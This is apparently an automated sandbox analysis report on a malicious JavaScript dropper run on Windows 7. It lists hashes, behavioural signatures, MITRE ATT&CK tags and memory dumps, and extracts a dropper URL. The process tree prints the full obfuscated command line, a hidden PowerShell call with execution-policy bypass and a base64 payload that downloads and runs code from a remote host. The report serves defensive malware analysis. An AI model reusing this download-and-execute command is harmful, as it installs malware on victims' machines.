755f02811e641133015c14e6acf380ca252d2ce31bda38720a8e9c02e4293e9d

Analysis

max time kernel
43s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
05/10/2022, 17:44

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General

Target

2r173553.js
Size

65KB
MD5

42625280d7ea0118ffc3ba0eaff9575f
SHA1

1d467b690f2cdabaeaf23fab107518c8b93d575e
SHA256

755f02811e641133015c14e6acf380ca252d2ce31bda38720a8e9c02e4293e9d
SHA512

4cff0c2a786358e21b495c3ad5139f63c81c80bc0434855f36c4be9ec83d46f9d37602fb64d44f0fd848b01495da1842d1042ba44b6d219e17d360a2db58a92e
SSDEEP

1536:NNgvWGtQUfabDbvs3asDjGisacq7EfKTc3FR2:NNgvWGtQJbDbvs3asfDGKY3FR2

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://sunassetmanagement.com/wp/

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	1756	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1756	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1756	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1500 wrote to memory of 996	1500	wscript.exe	27
PID 1500 wrote to memory of 996	1500	wscript.exe	27
PID 1500 wrote to memory of 996	1500	wscript.exe	27
PID 996 wrote to memory of 1756	996	cmd.exe	29
PID 996 wrote to memory of 1756	996	cmd.exe	29
PID 996 wrote to memory of 1756	996	cmd.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2r173553.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWErSheLl -nop -w hiDdEn -Ep bypaSs -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwB1AG4AYQBzAHMAZQB0AG0AYQBuAGEAZwBlAG0AZQBuAHQALgBjAG8AbQAvAHcAcAAvACIAKQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWErSheLl -nop -w hiDdEn -Ep bypaSs -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwB1AG4AYQBzAHMAZQB0AG0AYQBuAGEAZwBlAG0AZQBuAHQALgBjAG8AbQAvAHcAcAAvACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1756

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1500-54-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp

Filesize
8KB

Download
memory/1756-58-0x000007FEF4480000-0x000007FEF4EA3000-memory.dmp

Filesize
10.1MB

Download
memory/1756-59-0x000007FEF3920000-0x000007FEF447D000-memory.dmp

Filesize
11.4MB

Download
memory/1756-60-0x0000000002624000-0x0000000002627000-memory.dmp

Filesize
12KB

Download
memory/1756-61-0x000000001B8B0000-0x000000001BBAF000-memory.dmp

Filesize
3.0MB

Download
memory/1756-62-0x000000000262B000-0x000000000264A000-memory.dmp

Filesize
124KB

Download
memory/1756-63-0x0000000002624000-0x0000000002627000-memory.dmp

Filesize
12KB

Download
memory/1756-64-0x000000000262B000-0x000000000264A000-memory.dmp

Filesize
124KB

Download